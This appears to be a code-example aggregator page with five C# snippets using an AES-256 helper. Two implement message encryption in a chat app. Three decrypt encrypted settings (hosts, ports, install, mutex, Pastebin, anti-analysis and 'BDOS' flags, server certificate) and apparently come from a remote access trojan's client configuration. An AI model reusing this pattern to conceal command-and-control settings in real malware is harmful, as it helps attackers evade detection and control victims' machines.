コード例 #1
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Key               = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256            = new Aes256(Key);
                Ports             = aes256.Decrypt(Ports);
                Hosts             = aes256.Decrypt(Hosts);
                Version           = aes256.Decrypt(Version);
                Install           = aes256.Decrypt(Install);
                MTX               = aes256.Decrypt(MTX);
                Pastebin          = aes256.Decrypt(Pastebin);
                Anti              = aes256.Decrypt(Anti);
                BDOS              = aes256.Decrypt(BDOS);
                Group             = aes256.Decrypt(Group);
                Hwid              = HwidGen.HWID();
                Serversignature   = aes256.Decrypt(Serversignature);
                ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
                return(VerifyHash());
            }
            catch { return(false); }
        }
コード例 #2
0
        public void encryptmess(string mess)
        {
            if (mess.Length > 0)
            {
                md5 md5 = new md5();
                listBoxclient.Items.Add("Me: " + mess);
                Aes256 aes256 = new Aes256();
                SHA256 sha256 = SHA256Managed.Create();
                byte[] mess1  = Encoding.UTF8.GetBytes(mess);
                byte[] key1   = sha256.ComputeHash(Encoding.ASCII.GetBytes(Convert.ToString(dh.Key_Chung)));
                txtkey.Text = Convert.ToBase64String(key1);
                string ivc = getdatime();
                byte[] iv  = create_init_vector(ivc);
                txtiv.Text = Convert.ToBase64String(iv);
                byte[]   dayhash  = sha256.ComputeHash(Encoding.ASCII.GetBytes(ivc));
                string   encrypt  = aes256.EncryptString(mess1, key1, iv, dayhash);
                string[] enc1     = encrypt.Split(';');
                string   mess_md5 = md5.GetMD5(enc1[0] + Convert.ToString(dh.Key_Chung));

                string messsend = "Receive;" + encrypt + ";" + ivc + ";" + mess_md5;
                //string[] s1 = messsend.Split(';');
                //textBoxmessnoise.Text = s1[1].ToString() + ";" + s1[2].ToString() + ";" + s1[3].ToString();
                txtmessnoise.Text = messsend;
                senddata(messsend);
            }
        }
コード例 #3
0
        public void decrypt_mess(string[] mess)
        {
            Aes256 aes256  = new Aes256();
            string encrypt = mess[1];
            string ivc     = mess[3];
            int    count   = Convert.ToInt32(mess[2]);

            iv         = create_init_vector(ivc);
            txtiv.Text = Convert.ToBase64String(iv);
            string decrypt = aes256.DecryptString(encrypt, key, iv, count);

            MessageList(Convert.ToString(decrypt), "Server");
            timer1.Enabled = true;
            timer1.Start();
        }
コード例 #4
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Password = Encoding.UTF8.GetString(Convert.FromBase64String(Password));
                aes256   = new Aes256(Password);
                Ports    = aes256.Decrypt(Ports);
                Host     = aes256.Decrypt(Host);
                return(true);
            }
            catch { return(false); }
        }
コード例 #5
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Key               = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256            = new Aes256(Key);
                Ports             = aes256.Decrypt(Ports);
                Hosts             = aes256.Decrypt(Hosts);
                Serversignature   = aes256.Decrypt(Serversignature);
                ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
                return(VerifyHash());
            }
            catch { return(false); }
        }